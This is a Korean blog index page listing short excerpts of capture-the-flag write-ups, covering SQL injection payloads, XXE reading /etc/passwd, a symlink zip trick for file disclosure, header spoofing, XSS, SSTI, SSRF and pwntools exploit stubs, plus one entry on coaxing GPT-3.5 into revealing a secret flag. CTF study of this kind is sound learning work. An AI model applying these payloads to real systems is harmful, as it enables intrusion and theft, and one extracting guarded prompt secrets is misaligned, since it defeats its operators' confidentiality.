티스토리

skyepodium

검색하기

블로그 홈

skyepodium

skyepodium.tistory.com/m

skyepodium 님의 블로그입니다.

구독자: 1

방명록 방문하기

주요 글 목록

[TFCTF 2023] flip-out 1. 개요 분석 문제 2. 분석 - flag.txt에서 읽고 flag 변수에 담은 다음 이것을 또 buf 변수에 저장합니다. - input으로 받은 문자열을 atoi 함수로 integer로 변환하여 num 변수에 저장합니다. - num 변수가 129보다 작으면, input 위치+ (num & 256) 주소의 값을 출력합니다. - input과 buf의 차이 만큼의 수를 입력해야합니다. flag = fopen("flag.txt","r"); if (flag == (FILE *)0x0) { printf("Cannot find flag.txt."); uVar1 = 1; } else { fgets((char *)&buf,0x19,flag); fclose(flag); printf("Input: "); __isoc99.. 공감수 0 댓글수 0 2023. 6. 4.
[seccon beginners ctf 2020] mask 1. 개요 or 문제 2. 분석 flag_a = "atd4`qdedtUpetepqeUdaaeUeaqau" flag_b = "c`b bk`kj`KbababcaKbacaKiacki" flag = "" for a, b in zip(flag_a, flag_b): flag += chr(ord(a) | ord(b)) print("flag", flag) # ctf4b{dont_reverse_face_mask} 공감수 0 댓글수 1 2023. 6. 4.
[waniCTF 2023] only_once 1. 개요 off by one 문제 2. 분석 chall 변수가 0이되면 반복문이 종료됩니다. scanf에서 8바이트가 입력되면, 바이트 뒤에 null 바이트가 추가됩니다. scanf("%8s", buf); null 바이트가 추가되면, chall 변수가 0x00000000 이 되고 1 감소하면, -1이되서, if (chall == 0) 조건에 안걸리게되어서 반목분이 지속됩니다. from pwn import * # 1. connect p = remote("localhost", 9002) context.log_level = 'debug' e = ELF("../src/chall") """ Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: N.. 공감수 0 댓글수 0 2023. 6. 4.
[tjCTF 2023] beep-boop-robot 1. 개요 morse 부호 문제 2. 분석 .wav 파일을 주는데 들어보면, 모스부호입니다. 이 사이트에 업로드하면 모스부호를 듣고, 텍스트로 변경해줍니다. https://morsecode.world/international/decoder/audio-decoder-adaptive.html flag는 전부 소문자라고 가이드를 주었기 때문에 파이썬으로 소문자로 변경하고 공백을 제거했습니다. contents = "T H I S I S A L L O N E W O R D L M A O" flag = "tjctf{" + "".join(contents.lower().split(" ")) + "}" print('flag', flag) # tjctf{thisisallonewordlmao} 공감수 0 댓글수 0 2023. 5. 29.
[SECCON - Beginners_CTF_2021] magic 1. 개요 XSS, CSP, filtering 문제 2. 분석 1) CSP script-src 'self' 로 걸려있어서 동일한 도메인 출처의 스크립트가 실행가능합니다. style-src 'self' ; script-src 'self' ; object-src 'none' ; font-src 'none' /magic API 의 코드를 보면, 파라미터로 받은 token을 돌려주기 때문에 이것을 활용해서 reflection XSS 가 가능합니다. return res.status(200).send(escapeHTML(token) + " is invalid token."); 다음과 같이 메모를 저장하면, XSS가 동작합니다. (외부에서 JS 파일 가져오는 것과 유사합니다.) - NOTE: // 을 넣어서 is i.. 공감수 0 댓글수 0 2023. 5. 28.
[SECCON - Beginners_CTF_2021] json 1. 개요 X-Forwarded-For 문제, json 파서 문제 2. 분석 bff 에서 요청을 받고, 검사를 통과하면, api 서버로 요청을 보냅니다. - bff에서 IP를 검사하고, client의 IP 가 192.168.111.X 이어야합니다. - bff 에서는 id가 1 이어야합니다. - api에서는 id가 2 이어야합니다. IP - X-Forwarded-For 헤더로 192.168.111.1로 세팅해서 검사를 통과할 수 있습니다. id - bff와 api 파일의 json 파서가 서로 다릅니다. - data = '{"id": 2, "id": 1}' 로 보낸다면, - bff의 go 표준json 파서 결과는 - id: 1 - api의 buger/jsonparser 결과는 - id: 2 - bff pac.. 공감수 0 댓글수 0 2023. 5. 28.
[SECCON - Beginners_CTF_2021] cant_use_db 1. 개요 race condition 문제 2. 분석 코드를 보면, buy_noodle, buy_soup에 약 1초간 sleep이 걸려있다. 만약, 재빠르게 buy_noodle, buy_soup을 진행하면, balance 가 업데이트되기 전에 구매가 가능하다. import os import re import time import random import shutil import secrets import datetime from flask import Flask, render_template, session, redirect app = Flask(__name__) app.secret_key = secrets.token_bytes(256) def init_userdata(user_id): try: os... 공감수 0 댓글수 0 2023. 5. 28.
[SECCON - Beginners_CTF_2021] osoba 1. 개요 File traversal 문제 2. 분석 page 파라미터로 로컬 파일을 반환해줍니다. http://localhost:8080/?page=public/wip.html 코드를 보면 send_file로 로컬 파일을 가져오는데, 로컬 어느 위치에 있든 가져올 수 있습니다. from flask import Flask, request, send_file, make_response app = Flask(__name__) @app.route("/", methods=["GET", "POST"]) def index(): page = request.args.get('page', 'public/index.html') response = make_response(send_file(page)) response.c.. 공감수 0 댓글수 0 2023. 5. 28.
[SECCON - Beginners_CTF_2021] werewolf 1. 개요 web, python class private 멤버 변수 문제 2. 분석 코드를 보면, 다음과 같이 role 넣으면 될 것 같지만 안됩니다. data = { "role": "WEREWOLF", } Player 클래스를 보면 role은 접두사로 __(언더바 2개)를 붙여서 private으로 선언했습니다. 그래서 외부에서 접근할때는 _Player__role 로 접근해야합니다. import os import random from flask import Flask, render_template, request, session # ==================== app = Flask(__name__) app.FLAG = os.getenv("CTF4B_FLAG") # ================.. 공감수 0 댓글수 0 2023. 5. 28.
[SCTF 2022] CUSES 1. 개요 aes-256-ctr 문제, 세션 조작 문제 2. 분석 주석에 적힌대로 guest/guestpassword 를 입력하면 로그인됩니다. 코드를 보면 aes-256-ctr을 사용해서 세션을 생성하고 있고, 세션 생성에서 username을 꺼내옵니다. - ctr - XOR 연산을 사용 - 세션에는 username이 포함됨(예: 'guest', 'admin') 3. exploit - guest/guestpassword 로 로그인 후 세션을 받습니다. - 세션에서 'guest' 가 포함된 부분을 'admin'으로 바꿉니다. XOR이 적용되었기 때문에 복호화 가능합니다. - ex) 'a'에 적용된 ctr 암호화 결과 = 'g'에 적용된 암호화 결과 ^ 'g' ^ 'a' - 세션을 바꿔서 플래그를 얻어옵니.. 공감수 0 댓글수 0 2023. 5. 21.
[SCTF 2022] Imageium 1. 개요 python pillo CVE-2022-22817 문제, RCE 문제 2. 분석 접속하면, pillow 라이브러리로 계산한 이미지를 보여줍니다. http://localhost:37359/dynamic/modified?mode=r 코드를 보면, ImageMath.eval 로 mode 파라미터를 실행시킵니다. mode에 python 코드를 넣고 실행시켜봅시다. @app.route("/dynamic/modified", methods=['GET']) def modified(): mode = request.args.get('mode', '') img = Image.open("./original.jpeg") buf = BytesIO() try: if mode: for w in badlist: if w i.. 공감수 0 댓글수 0 2023. 5. 20.
[SCTF 2022] DocxArchive 1. 개요 파일 카빙 문제 2. 분석 1) foremost `RecoverMe.docx` 파일을 줍니다. 파일 카빙 문제이고, 쉬운 중 하나는 foremost를 사용하는 것 입니다. foretmost -t all RecoverMe.docx 2) docx OLE(Object Linking and Embedding) 파일은 여러개의 파일을 모아진 형태이고, RecoverMe.zip 으로 확장자를 변경하고 압축해제하면, 연결된 파일들을 볼 수 있습니다. unzip RecoverMe.zip 결과는 다음과 같은데요, oleObject1.bin 파일이 수상합니다. hex 에디터로 살펴보면 안에 png 파일이 들어 있습니다. PNG 파일 시그니처 잘 보고 새 파일로 만들면 flag를 얻을 수 있습니다. 공감수 0 댓글수 0 2023. 5. 20.
[SCTF 2022] Yet Another Injection 1. 개요 xPath injection 문제 문제 링크 2. 분석 접속하면 로그인 창이 나오는데 먼저 로그인 해야합니다. 1) login.php 코드를 보면, array_push 로 guest 계정을 users 배열에 넣어줍니다. 따라서, guest/guest로 로그인합니다. function checkUser($username, $pwd) { if (($username === "") || ($pwd === "")) { return false; } $accounts = @file_get_contents("accounts.txt"); if ($accounts === false) { $users = array(); } else { $users = explode("\n", $accounts); } array_p.. 공감수 0 댓글수 0 2023. 5. 20.
[WaniCTF 2023] certified 1 1. 개요 imageMagick 문제 2. 분석 이미지를 올리면 우측 하단에 도장 이미지를 넣어줍니다. 코드를 보면 도장 이미지를 넣는데 imageMagick을 사용하고 있고, 버전은 7.1.0-51입니다. # build stage FROM rust:1.67.1-bullseye as builder WORKDIR /root/app COPY . . RUN cargo build --release --bin hanko # final stage FROM debian:bullseye-slim # Setup magick RUN apt-get update && \ apt-get install -y --no-install-recommends curl ca-certificates libfontconfig1 libx11-6.. 공감수 0 댓글수 0 2023. 5. 13.
[WaniCTF 2023] Screen shot 1. 개요 SSRF(Sever Side Requets Forge) 문제 2. 분석 플래그는 flag.txt에 있다고 합니다. 코드를 보면, /api/screenshot로 요청받은 url을 스크린샷 찍어서 보여줍니다. 다만, url에는 http 프로토콜이 사용되고, file 프로토콜은 사용되지 못하도록 검사하고 있습니다. const playwright = require("playwright"); const express = require("express"); const morgan = require("morgan"); const main = async function () { const browser = await playwright.chromium.launch(); const app = express().. 공감수 0 댓글수 0 2023. 5. 10.
[WaniCTF 2023] Prompt 1. 개요 OpenAI의 GPT 자백시키기 문제 2. 분석 gpt3.5를 사용하고 있고, FLAG를 들려주었지만, 아무에게도 전달하면 안된다고 학습시켰습니다. import os import openai from flask import * app = Flask(__name__) openai.api_key = os.getenv("SECRET") @app.route("/", methods=["GET"]) def index(): return render_template("index.tmpl") @app.route("/", methods=["POST"]) def chat(): prompt = request.form["prompt"] lang = request.form["lang"] if lang == "ja": .. 공감수 0 댓글수 0 2023. 5. 7.
[WaniCTF 2023] Extract Service 2 1. 개요 심볼릭 링크 문제 2. 분석 ExtractFile 함수에서 압축을 해제하고 있고, 이때 심볼링 링크가 걸려 있으면 /flag의 파일의 내용이 노출될 수 있습니다. package main import ( "net/http" "os" "os/exec" "path/filepath" "regexp" "github.com/gin-gonic/gin" "github.com/google/uuid" ) func main() { r := gin.Default() r.LoadHTMLGlob("templates/*") r.MaxMultipartMemory = 1 bytes: os.system('ln -s /flag word/document.xml') os.system('zip --symlinks -r sample.. 공감수 0 댓글수 0 2023. 5. 6.
[WaniCTF 2023] Extract Service 1 1. 개요 LFI 문제 2. 분석 플래그는 /flag에 있다고 주어졌습니다. 코드를 보면, POST 로 파일 업로드 후 target 값의 파일을 로컬에서 읽어옵니다. targe값으로 flag를 읽어봅시다. package main import ( "net/http" "os" "os/exec" "path/filepath" "regexp" "github.com/gin-gonic/gin" "github.com/google/uuid" ) func main() { r := gin.Default() r.LoadHTMLGlob("templates/*") r.MaxMultipartMemory = 1 bytes: docx = open('./temp.docx', 'rb') return docx def get_flag(nu.. 공감수 0 댓글수 0 2023. 5. 6.
[WaniCTF 2023] netcat 1. 개요 net cat 사용 문제 2. 분석 pwntools로 덧셈 문제 3개 계산 import os os.environ['PWNLIB_NOTERM'] = '1' from pwn import * # 1. connect p = remote('netcat-pwn.wanictf.org', 9001) p.connected() # 2. recv for i in range(3): score = p.recvlines(4) arith = p.recv().decode('utf-8') arith = arith.replace('[+=]', '') nums = [int(num) for num in re.sub(r'[+=\n]+', '', arith).split()] result = sum(nums) print('result.. 공감수 0 댓글수 0 2023. 5. 6.
[Lord of sql injeciton] goblin 1. 개요 hex encoding, char() 문제 2. 분석 id=admin인 유저를 조회해야합니다. 공감수 0 댓글수 0 2023. 5. 5.
[Lord of sql injeciton] cobolt 1. 개요 ... 2. 분석 id가 admin 이고, md5 부분은 주석으로 처리할 수 있을것 같습니다. 공감수 0 댓글수 0 2023. 5. 5.
[Lord of sql injeciton] gremlin 1. 개요 ... 2. 분석 공감수 0 댓글수 0 2023. 5. 5.
[WaniCTF 2023] 64bps 1. 개요 HTTP Range Requests 문제 2. 분석 코드를 보면, 2GB 크기의의 랜덤한 문자열을 생성 후 2gb.txt로 저장하고, flag.txt 파일의 내용을 2gb.txt 파일 끝에 추가했습니다 FROM nginx:1.23.3-alpine-slim COPY nginx.conf /etc/nginx/nginx.conf COPY flag.txt /usr/share/nginx/html/flag.txt RUN cd /usr/share/nginx/html && \ dd if=/dev/random of=2gb.txt bs=1M count=2048 && \ cat flag.txt >> 2gb.txt && \ rm flag.txt 다만, nginx 설정을 보면, limit_rate가 8bytes여서 2.. 공감수 0 댓글수 0 2023. 5. 5.
[angstromCTF 2023] brokenlogin 1. 개요 SSTI(Server side template injection), render_template_string 문제 2. 분석 1) template injection 쿼리 스트링으로 받은 message를 render_template_string 함수로 템플릿에 넣어 렌더링 합니다. @app.get("/") def index(): global fails custom_message = "" if "message" in request.args: if len(request.args["message"]) >= 25: return render_template_string(indexPage, fails=fails) custom_message = escape(request.args["message"]) ret.. 공감수 0 댓글수 0 2023. 4. 29.
[angstromCTF 2023] hallmark 1. 개요 svf XSS, JavaScript 문법 문제 2. 분석 1) SVG XSS SVG XSS에서 가장 중요한 것은 Content-type: image/xvg+xml 이어야한다는 것 입니다. 2) JavaScript 값 비교 == vs === 업데이트 API를 살펴보면, cards[id].type에 값을 넣는 삼항 연산자에서 조건 검색을 "==" 으로 값 비교를 수행하고 content에는 "===" 을 사용합니다. XSS를 위해서 type이 "image/xvg+xml" 이어야하고, 동시에 아니어야 content 가 삽입됩니다. app.put("/card", (req, res) => { let { id, type, svg, content } = req.body; if (!id || !cards[id.. 공감수 0 댓글수 0 2023. 4. 29.
[angstromCTF 2023] Celeste Speedrunning Association 1. 개요 web 분석, payload 조작문제 2. 분석 버튼을 누르면 시작시간을 보내고, 모두를 이겨야한다고 합니다. 아마도 서버에서 걸린시간 = 종료 시간 - 시작 시간으로 계산하는 것 같습니다. 아예 시작시간을 미래의 숫자로 넣어서, 걸린시간을 음수로 넣어줍니다. 시작 시간 포맷은 unix time stamp 입니다. 3. 코드 import requests base_url = "https://mount-tunnel.web.actf.co" data = { 'start': 2682752325.8505517 } result = requests.post(f"{base_url}/submit", data) print('result: ', result.text) 공감수 0 댓글수 0 2023. 4. 29.
[ctfLearn] Inj3ction Time 1. 개요 union sql injection, mysql 문제 2. 분석 sql injection이 걸리는 것을 확인했습니다. 1 or 1 = 1 # 이 주석으로 동작하는 것을 볼때 mysql 계열 DB 같습니다. 1 # asdf union 을 걸면서 앞의 조회구문이 몇개의 칼럼을 조회하는 지 찾습니다. (4개를 조회하고 있습니다) 1 union select 1, 2, 3, 4 현재 사용중인 데이터베이스 명은 webheight 입니다. 1 union select 1, 2, database(), 4 테이블 목록을 찾습니다. w0w_y0u_f0und_m3 가 수상해보입니다. 1 union select 1, 2, group_concat(table_name), 4 from information_schema.t.. 공감수 0 댓글수 0 2023. 4. 29.
[picoCTF] More SQLi 1. 개요 union sql injection, sqlite 문제 2. 분석 힌트로 sqlite 라고 주어졌습니다. sql 수행결과를 보여주는데, ' or 1 = 1 -- 을 admin,password에 넣어서 조건을 항상 참으로 만듭니다. (--는 sqlite에서 뒤의 구문을 주석 처리합니다) 로그인을하면 이러한 화면이 나오는데, 전형적인 쉬운 union sql injection 문제처럼 생겼습니다. union 에 들어가는 칼럼의 개수를 1개씩 늘려보면서 union 앞에 작성된 조회 구문의 칼럼 개수가 몇개인지 찾습니다. ' union select 1, 2, 3 -- 3개일때 조회되어서, union 앞에 작성된 조회 구문의 칼럼 개수는 3개입니다. ' union select type, sql, 3 fr.. 공감수 0 댓글수 0 2023. 4. 29.
[picoCTF] SQL Direct 1. 개요 psql 사용하기 문제 2. 분석 psql 다운받고, 엔드포인트 연결합니다. "\dt" - 테이블 목록을 보여줍니다. 공감수 0 댓글수 0 2023. 4. 29.
[picoCTF] SOAP 1. 개요 XXE 문제 2. 분석 Details 버튼을 누를때 마다 XML을 payload에 담아서 보냅니다. flag는 /etc/passwd에 있다고 했기 때문에 XML을 삽입해서 flag 읽어옵니다. import requests payload = '&xxe;' headers = { 'Content-Type': 'window.contentType' } result = requests.post("http://saturn.picoctf.net:49761/data", data=payload, headers=headers) print('result: ', result.text) 공감수 0 댓글수 0 2023. 4. 29.

문의안내

티스토리
로그인
고객센터

티스토리는 카카오에서 사랑을 담아 만듭니다.